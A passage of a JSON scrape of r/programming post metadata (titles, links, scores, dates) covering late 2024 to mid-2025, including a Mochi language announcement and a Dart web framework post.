    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n3g5hm",
  "url": "https://www.agwa.name/blog/post/sqlite_durability",
  "permalink": "https://www.reddit.com/r/programming/comments/1n3g5hm/sqlites_durability_settings_are_a_mess/",
  "title": "SQLite's Durability Settings Are a Mess",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 2,
  "createdAt": "2025-08-29T19:02:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.agwa.name/blog/post/sqlite_durability",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1n3b8ck",
  "url": "https://pgdog.dev/blog/plugins-are-back",
  "permalink": "https://www.reddit.com/r/programming/comments/1n3b8ck/pgdog_adds_support_for_rust_plugins/",
  "title": "PgDog adds support for Rust plugins",
  "body": null,
  "author": "levkk1",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 0,
  "createdAt": "2025-08-29T15:55:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pgdog.dev/blog/plugins-are-back",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1mx49cx",
  "url": "https://blog.habets.se/2025/07/Go-is-still-not-good.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1mx49cx/go_is_still_not_good/",
  "title": "Go is still not good",
  "body": null,
  "author": "Nekuromento",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 75,
  "createdAt": "2025-08-22T11:46:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.habets.se/2025/07/Go-is-still-not-good.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1mugchx",
  "url": "https://getparthenon.com/blog/ai-is-a-junior-dev-and-needs-a-lead",
  "permalink": "https://www.reddit.com/r/programming/comments/1mugchx/ai_is_a_junior_dev_and_needs_a_lead/",
  "title": "AI is a Junior Dev and needs a Lead",
  "body": null,
  "author": "that_guy_iain",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.5,
  "numComments": 135,
  "createdAt": "2025-08-19T11:58:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://getparthenon.com/blog/ai-is-a-junior-dev-and-needs-a-lead",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1mid9ua",
  "url": "https://medium.com/ratelimitly/why-you-shouldnt-use-redis-as-a-rate-limiter-part-1-of-2-3d4261f5b38a",
  "permalink": "https://www.reddit.com/r/programming/comments/1mid9ua/why_you_shouldnt_use_redis_as_a_rate_limiter/",
  "title": "Why you shouldn’t use Redis as a rate limiter",
  "body": null,
  "author": "Perfect-Praline3232",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 27,
  "createdAt": "2025-08-05T16:06:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/ratelimitly/why-you-shouldnt-use-redis-as-a-rate-limiter-part-1-of-2-3d4261f5b38a",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1m3ib73",
  "url": "https://bitbashing.io/async-rust.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1m3ib73/async_rust_is_a_bad_language/",
  "title": "Async Rust Is A Bad Language",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 16,
  "createdAt": "2025-07-19T00:15:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bitbashing.io/async-rust.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1lyup38",
  "url": "https://ncse.info/cyber-attack-response-plan/",
  "permalink": "https://www.reddit.com/r/programming/comments/1lyup38/after_managing_50_security_breaches_i_documented/",
  "title": "After managing 50+ security breaches, I documented our incident response framework with ready to use forensic scripts",
  "body": null,
  "author": "Ok-Conversation6816",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 5,
  "createdAt": "2025-07-13T14:52:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ncse.info/cyber-attack-response-plan/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ly4tos",
  "url": "https://www.youtube.com/watch?v=lqRQYEHAtpk",
  "permalink": "https://www.reddit.com/r/programming/comments/1ly4tos/a_great_video_for_introducion_why_trunkbased/",
  "title": "A great video for introducion why Trunkbased Development is an important practice",
  "body": null,
  "author": "martindukz",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.51,
  "numComments": 86,
  "createdAt": "2025-07-12T16:37:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=lqRQYEHAtpk",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1lrgcnb",
  "url": "https://medium.com/@kt149/github-ceo-says-the-smartest-companies-will-hire-more-software-engineers-not-less-as-ai-develops-17d157bdd992",
  "permalink": "https://www.reddit.com/r/programming/comments/1lrgcnb/github_ceo_says_the_smartest_companies_will_hire/",
  "title": "GitHub CEO says the ‘smartest’ companies will hire more software engineers not less as AI develops",
  "body": null,
  "author": "Accomplished-Win9630",
  "subreddit": "programming",
  "score": 7518,
  "upvoteRatio": 0.97,
  "numComments": 444,
  "createdAt": "2025-07-04T11:23:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@kt149/github-ceo-says-the-smartest-companies-will-hire-more-software-engineers-not-less-as-ai-develops-17d157bdd992",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1lcpd0r",
  "url": "https://github.com/mochilang/mochi/pull/1088",
  "permalink": "https://www.reddit.com/r/programming/comments/1lcpd0r/i_built_a_language_that_solves_400_leetcode/",
  "title": "I built a language that solves 400+ LeetCode problems and compiles to Python, Go, and TypeScript",
  "body": "Hi all — I’ve been building [Mochi](https://github.com/mochilang/mochi), a small statically typed language that compiles to Python, Go, and TypeScript. This week I hit a fun milestone: over **400 LeetCode problems solved in Mochi** — and compiled to all three languages — in about 4 days.\n\nMochi is designed to let you write a clean solution once, and run it anywhere. Here's what it looks like in practice:\n\n    ✅ Compiled 232/implement-queue-using-stacks.mochi → go/py/ts in 2032 ms  \n    ✅ Compiled 233/number-of-digit-one.mochi         → go/py/ts in 1975 ms  \n    ✅ Compiled 234/palindrome-linked-list.mochi      → go/py/ts in 1975 ms  \n    ✅ Compiled 235/lowest-common-ancestor-bst.mochi  → go/py/ts in 1914 ms  \n    ✅ Compiled 236/lowest-common-ancestor.mochi      → go/py/ts in 2057 ms  \n    ✅ Compiled 237/delete-node-in-linked-list.mochi  → go/py/ts in 1852 ms  \n    \n\nEach `.mochi` file contains the solution, inline tests, and can be compiled to idiomatic code in any of the targets. Example test output:\n\n    23/merge-k-sorted-lists.mochi  \n       test example 1    ... ok (264.0µs)  \n       test example 2    ... ok (11.0µs)  \n       test example 3    ... ok (19.0µs)\n    \n    141/linked-list-cycle.mochi  \n       test example 1    ... ok (92.0µs)  \n       test example 2    ... ok (43.0µs)  \n       test example 3    ... ok (7.0µs)\n    \n\nWhat’s cool (to me at least) is that Mochi isn’t just syntax sugar or a toy compiler — it actually typechecks, supports inline testing, and lets you call functions from Go, Python, or TypeScript directly. The goal is to solve the problem once, test it once, and let the compiler deal with the rest.\n\nYou can check out all the LeetCode problems here:  \n👉 [https://github.com/mochilang/mochi/tree/main/examples/leetcode](https://github.com/mochilang/mochi/tree/main/examples/leetcode)\n\nWould love feedback if you’re into language design, compilers, or even just curious how a multi-target language like this works under the hood.\n\nHappy to answer anything if you're curious!",
  "author": "Adept-Country4317",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 37,
  "createdAt": "2025-06-16T10:31:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/mochilang/mochi/pull/1088",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ktl1ba",
  "url": "https://www.justfuckingcode.com/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ktl1ba/just_fucking_code/",
  "title": "Just fucking code.",
  "body": null,
  "author": "wagslane",
  "subreddit": "programming",
  "score": 3722,
  "upvoteRatio": 0.88,
  "numComments": 539,
  "createdAt": "2025-05-23T14:31:32.000Z",
  "isNsfw": true,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.justfuckingcode.com/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1kipdhg",
  "url": "https://forum.lazarus.freepascal.org/index.php/topic,71050.0.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1kipdhg/lazarus_release_40/",
  "title": "Lazarus Release 4.0",
  "body": null,
  "author": "sysrpl",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.52,
  "numComments": 8,
  "createdAt": "2025-05-09T18:16:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://forum.lazarus.freepascal.org/index.php/topic,71050.0.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1k3wymf",
  "url": "https://github.com/aminedakhlii/wailuku",
  "permalink": "https://www.reddit.com/r/programming/comments/1k3wymf/dart_is_not_just_for_flutter_its_time_we_start/",
  "title": "Dart is not just for Flutter, it's time we start using it on the server. I built wailuku an open source web framework inspired by express.js to help those who want to transtition from js to dart.",
  "body": "why use dart on the server ? \n\n  \n1- unified language for full stack as Flutter now supports almost all platforms + web   \n2- compiled language\n\n3- null safety and type safe\n\n4- a strong community with a variety of packages that server almost every scenario\n\n  \nI think it's time dart gets more recognition on the server, so I built wailuku, a lightweight backend framework that emulates express.js syntax. I'd be super helpful if I can get some feedback, suggestions and contributions. \n\nthanks!",
  "author": "PaleContribution6199",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.55,
  "numComments": 61,
  "createdAt": "2025-04-20T21:26:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/aminedakhlii/wailuku",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1k1p007",
  "url": "https://rethinkingsoftware.substack.com/p/pair-programmers-unite",
  "permalink": "https://www.reddit.com/r/programming/comments/1k1p007/pair_programmers_unite_a_quiet_rebellion/",
  "title": "Pair Programmers Unite: A Quiet Rebellion",
  "body": null,
  "author": "adamard",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 52,
  "createdAt": "2025-04-17T22:01:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rethinkingsoftware.substack.com/p/pair-programmers-unite",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1jwmwdy",
  "url": "https://www.zdnet.com/article/linus-torvalds-built-git-in-10-days-and-never-imagined-it-would-last-20-years/",
  "permalink": "https://www.reddit.com/r/programming/comments/1jwmwdy/linus_torvalds_built_git_in_10_days_and_never/",
  "title": "Linus Torvalds built Git in 10 days - and never imagined it would last 20 years",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3934,
  "upvoteRatio": 0.95,
  "numComments": 351,
  "createdAt": "2025-04-11T10:48:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/linus-torvalds-built-git-in-10-days-and-never-imagined-it-would-last-20-years/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1jtttxw",
  "url": "https://blog.tal.bi/posts/std-optional-move-pitfall/",
  "permalink": "https://www.reddit.com/r/programming/comments/1jtttxw/beware_when_moving_a_stdoptional/",
  "title": "Beware when moving a std::optional",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 25,
  "createdAt": "2025-04-07T19:24:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.tal.bi/posts/std-optional-move-pitfall/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1jl3wgw",
  "url": "https://refactoringenglish.com/chapters/write-blog-posts-developers-read/",
  "permalink": "https://www.reddit.com/r/programming/comments/1jl3wgw/how_to_write_blog_posts_that_developers_read/",
  "title": "How to Write Blog Posts that Developers Read",
  "body": null,
  "author": "mtlynch",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 39,
  "createdAt": "2025-03-27T13:27:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://refactoringenglish.com/chapters/write-blog-posts-developers-read/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1jl3gi0",
  "url": "https://newsletter.systemdesign.one/p/how-does-apple-pay-work",
  "permalink": "https://www.reddit.com/r/programming/comments/1jl3gi0/how_does_apple_pay_work/",
  "title": "How Does Apple Pay Work",
  "body": null,
  "author": "sdxyz42",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.56,
  "numComments": 81,
  "createdAt": "2025-03-27T13:05:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.systemdesign.one/p/how-does-apple-pay-work",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1jg4566",
  "url": "https://gist.github.com/jwbee/7e8b27e298de8bbbf8abfa4c232db097",
  "permalink": "https://www.reddit.com/r/programming/comments/1jg4566/make_ubuntu_packages_90_faster_by_rebuilding_them/",
  "title": "Make Ubuntu packages 90% faster by rebuilding them",
  "body": null,
  "author": "namanyayg",
  "subreddit": "programming",
  "score": 49,
  "upvoteRatio": 0.57,
  "numComments": 43,
  "createdAt": "2025-03-21T00:24:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gist.github.com/jwbee/7e8b27e298de8bbbf8abfa4c232db097",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1j83w48",
  "url": "https://aaronstannard.com/software-price-speed-quality/",
  "permalink": "https://www.reddit.com/r/programming/comments/1j83w48/software_falsehoods_you_can_build_it_cheap_fast/",
  "title": "Software Falsehoods: you can build it cheap, fast, and good - pick two",
  "body": null,
  "author": "KerrickLong",
  "subreddit": "programming",
  "score": 96,
  "upvoteRatio": 0.59,
  "numComments": 112,
  "createdAt": "2025-03-10T17:17:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://aaronstannard.com/software-price-speed-quality/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1iznom3",
  "url": "https://www.gamingonlinux.com/2025/02/ea-just-open-sourced-command-conquer-red-alert-renegade-and-generals/",
  "permalink": "https://www.reddit.com/r/programming/comments/1iznom3/ea_just_open_sourced_command_conquer_red_alert/",
  "title": "EA just open sourced Command & Conquer, Red Alert, Renegade and Generals",
  "body": null,
  "author": "r_retrohacking_mod2",
  "subreddit": "programming",
  "score": 2979,
  "upvoteRatio": 0.99,
  "numComments": 212,
  "createdAt": "2025-02-27T19:07:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.gamingonlinux.com/2025/02/ea-just-open-sourced-command-conquer-red-alert-renegade-and-generals/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1iub0rk",
  "url": "https://thehackernews.com/2024/09/googles-shift-to-rust-programming-cuts.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1iub0rk/googles_shift_to_rust_programming_cuts_android/",
  "title": "Google's Shift to Rust Programming Cuts Android Memory Vulnerabilities by 68%",
  "body": null,
  "author": "Unerring-Ocean",
  "subreddit": "programming",
  "score": 3391,
  "upvoteRatio": 0.95,
  "numComments": 476,
  "createdAt": "2025-02-20T22:14:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thehackernews.com/2024/09/googles-shift-to-rust-programming-cuts.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ib0lvg",
  "url": "https://thetshaped.dev/p/lifelong-learning-88-plus-resources-i-do-not-regret-as-senior-software-engineer",
  "permalink": "https://www.reddit.com/r/programming/comments/1ib0lvg/lifelong_learning_88_resources_i_dont_regret_as_a/",
  "title": "Lifelong Learning: 88+ Resources I Don't Regret as a Senior Software Engineer",
  "body": null,
  "author": "pepincho",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.51,
  "numComments": 9,
  "createdAt": "2025-01-27T05:15:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thetshaped.dev/p/lifelong-learning-88-plus-resources-i-do-not-regret-as-senior-software-engineer",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1i9xtgz",
  "url": "https://futurism.com/first-ai-software-engineer-devin-bungling-tasks",
  "permalink": "https://www.reddit.com/r/programming/comments/1i9xtgz/the_first_ai_software_engineer_is_bungling_the/",
  "title": "The \"First AI Software Engineer\" Is Bungling the Vast Majority of Tasks It's Asked to Do",
  "body": null,
  "author": "creaturefeature16",
  "subreddit": "programming",
  "score": 6103,
  "upvoteRatio": 0.96,
  "numComments": 670,
  "createdAt": "2025-01-25T21:40:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://futurism.com/first-ai-software-engineer-devin-bungling-tasks",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1i0ei87",
  "url": "https://medium.com/codex/i-spent-2-years-rebuilding-my-algorithmic-trading-platform-in-rust-i-have-no-regrets-278cb2542499?sk=db5c52c706a2707d4774f64dba28ef57",
  "permalink": "https://www.reddit.com/r/programming/comments/1i0ei87/i_spent_2_years_rebuilding_my_algorithmic_trading/",
  "title": "I spent 2 years rebuilding my algorithmic trading platform in Rust. I have no regrets.",
  "body": null,
  "author": "No-Definition-2886",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 42,
  "createdAt": "2025-01-13T13:57:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/codex/i-spent-2-years-rebuilding-my-algorithmic-trading-platform-in-rust-i-have-no-regrets-278cb2542499?sk=db5c52c706a2707d4774f64dba28ef57",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1hvhckw",
  "url": "https://medium.com/@eric.low/developer-assistant-showdown-claude-chatgpt-perplexity-llama-and-copilot-62aa66b1fa6e",
  "permalink": "https://www.reddit.com/r/programming/comments/1hvhckw/developer_assistant_showdown_claude_chatgpt/",
  "title": "Developer Assistant Showdown! Claude, ChatGPT, Perplexity, Llama, and Copilot",
  "body": null,
  "author": "EricLowItsMe",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 19,
  "createdAt": "2025-01-07T02:42:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@eric.low/developer-assistant-showdown-claude-chatgpt-perplexity-llama-and-copilot-62aa66b1fa6e",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1hlyn6a",
  "url": "https://bitfieldconsulting.com/posts/slower",
  "permalink": "https://www.reddit.com/r/programming/comments/1hlyn6a/writing_slower_go_programs/",
  "title": "Writing slower Go programs",
  "body": null,
  "author": "EightLines_03",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.54,
  "numComments": 53,
  "createdAt": "2024-12-25T10:52:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bitfieldconsulting.com/posts/slower",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1hetgf7",
  "url": "https://github.com/humodz/node-wasi-preopens-escape",
  "permalink": "https://www.reddit.com/r/programming/comments/1hetgf7/proof_of_concept_showcasing_how_a_wasm_program/",
  "title": "Proof of concept showcasing how a WASM program can access files outside node:wasi's preopens dir",
  "body": null,
  "author": "guest271314",
  "subreddit": "programming",
  "score": 32,
  "upvoteRatio": 0.53,
  "numComments": 56,
  "createdAt": "2024-12-15T14:17:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/humodz/node-wasi-preopens-escape",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1hcfsff",
  "url": "https://zaidesanton.substack.com/p/using-fake-deadlines-without-driving",
  "permalink": "https://www.reddit.com/r/programming/comments/1hcfsff/why_fake_deadlines_drive_developers_crazy/",
  "title": "Why 'fake' deadlines drive developers crazy",
  "body": null,
  "author": "zaidesanton",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 110,
  "createdAt": "2024-12-12T07:22:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://zaidesanton.substack.com/p/using-fake-deadlines-without-driving",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1hbnhhs",
  "url": "https://pngquant.org/rust.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1hbnhhs/advantage_of_rewriting_in_rust_rust_is_more/",
  "title": "Advantage of rewriting in Rust: Rust is more portable than C",
  "body": null,
  "author": "Alexander_Selkirk",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 45,
  "createdAt": "2024-12-11T06:34:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pngquant.org/rust.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1h6fm2j",
  "url": "https://newsletter.systemdesign.one/p/how-does-nginx-work",
  "permalink": "https://www.reddit.com/r/programming/comments/1h6fm2j/how_nginx_was_able_to_support_1_million/",
  "title": "How Nginx Was Able to Support 1 Million Concurrent Connections on a Single Server ",
  "body": null,
  "author": "sdxyz42",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.51,
  "numComments": 6,
  "createdAt": "2024-12-04T13:10:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.systemdesign.one/p/how-does-nginx-work",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1gtv42d",
  "url": "https://lists.w3.org/Archives/Public/www-archive/2023Sep/att-0021/W3C-TPAC-JWST-Beihang-ShiXiaohua-final.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1gtv42d/jwst_a_javascripttowebassembly_static_translator/",
  "title": "JWST- A JavaScript-to-WebAssembly Static Translator",
  "body": null,
  "author": "guest271314",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 36,
  "createdAt": "2024-11-18T03:03:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lists.w3.org/Archives/Public/www-archive/2023Sep/att-0021/W3C-TPAC-JWST-Beihang-ShiXiaohua-final.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1gttu5v",
  "url": "https://c410-f3r.github.io/thoughts/building-a-real-time-chat-using-web-sockets-over-http2-streams/",
  "permalink": "https://www.reddit.com/r/programming/comments/1gttu5v/building_a_realtime_chat_using_websockets_over/",
  "title": "Building a real-time chat using WebSockets over HTTP/2 streams",
  "body": null,
  "author": "c410-f3r",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 25,
  "createdAt": "2024-11-18T01:56:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://c410-f3r.github.io/thoughts/building-a-real-time-chat-using-web-sockets-over-http2-streams/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ge7qau",
  "url": "https://blog.jacobstechtavern.com/p/apple-is-killing-swift",
  "permalink": "https://www.reddit.com/r/programming/comments/1ge7qau/apple_is_killing_swift_slowly/",
  "title": "Apple is Killing Swift (slowly)",
  "body": null,
  "author": "jacobs-tech-tavern",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 71,
  "createdAt": "2024-10-28T17:22:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.jacobstechtavern.com/p/apple-is-killing-swift",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1gc3j3g",
  "url": "https://www.bugsink.com/blog/software-bloat-makes-me-sad/",
  "permalink": "https://www.reddit.com/r/programming/comments/1gc3j3g/software_bloat_makes_me_sad_2015/",
  "title": "Software Bloat Makes me Sad (2015)",
  "body": null,
  "author": "klaasvanschelven",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.57,
  "numComments": 74,
  "createdAt": "2024-10-25T20:11:28.000Z",
